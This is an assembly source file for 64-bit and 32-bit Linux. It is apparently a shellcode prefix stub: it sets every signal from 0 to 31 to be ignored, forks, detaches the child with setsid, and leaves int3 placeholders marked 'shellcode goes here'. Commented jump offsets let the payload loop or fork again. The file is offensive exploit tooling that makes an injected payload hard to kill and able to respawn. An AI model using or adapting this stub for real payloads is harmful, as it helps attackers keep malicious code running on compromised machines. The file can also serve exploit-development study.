;// struct sigaction *action; sigemptyset(&action->sa_mask);
      xor rdx, rdx
      push 0x11
      pop rcx
sigemptyset:
      dec rcx
      push rdx
      jnz sigemptyset
;// action->sa_handler = SIG_IGN;
      push 0x1
      mov rsi, rsp
      push 0x8
      pop r10

;// for(int i=0; i<0x20; i++) signal(i, SIG_IGN);
      push 0x20
ignore:
      pop rcx
      dec rcx
      push rcx
      push rcx
      pop rdi
      push 0xd
      pop rax
      syscall
      jnz ignore

fork:
;// if (!fork()) { for(int i=-1; i==0; i--); exit(); } else { /* child */}
      push 0x39
      pop rax
      syscall
      test rax, rax
      je child
      xor ecx, ecx
sleep:
      dec ecx
      jnz sleep
      push 0x3c
      pop rax
      syscall ;// exit();

child:
;// setsid();
      push 0x70
      pop rax
      syscall

;// shellcode goes here
      int3
      int3
      int3
      int3
      int3
      int3
      int3
      int3

;// infinite loop
      ;// jmp child ;// '\xeb'+chr(256-7-len(shellcode))
      ;// jmp fork  ;// '\xeb'+chr(256-28-len(shellcode))

;// for(int i=0; i<0x20; i++) signal(i, SIG_IGN);
      push 0x20
ignore:
      pop ecx
      dec ecx
      push 0x1
      pop esi
      push ecx
      pop edi
      push 0x30
      pop eax
      push ecx
      int 0x80
      jnz ignore

fork:
;// if (!fork()) { for(int i=-1; i==0; i--); exit(); } else { /* child */}
      push 0x02
      pop eax
      int 0x80
      test eax, eax
      je child
      xor ecx, ecx
sleep:
      dec ecx
      jnz sleep
      push 0x1
      pop eax
      int 0x80

child:
;// setsid();
      push 0x42
      pop eax
      int 0x80

;// shellcode goes here
      int3
      int3
      int3
      int3
      int3
      int3
      int3
      int3

;// infinite loop
      ;// jmp child ;// '\xeb'+chr(256-7-len(shellcode))
      ;// jmp fork  ;// '\xeb'+chr(256-26-len(shellcode))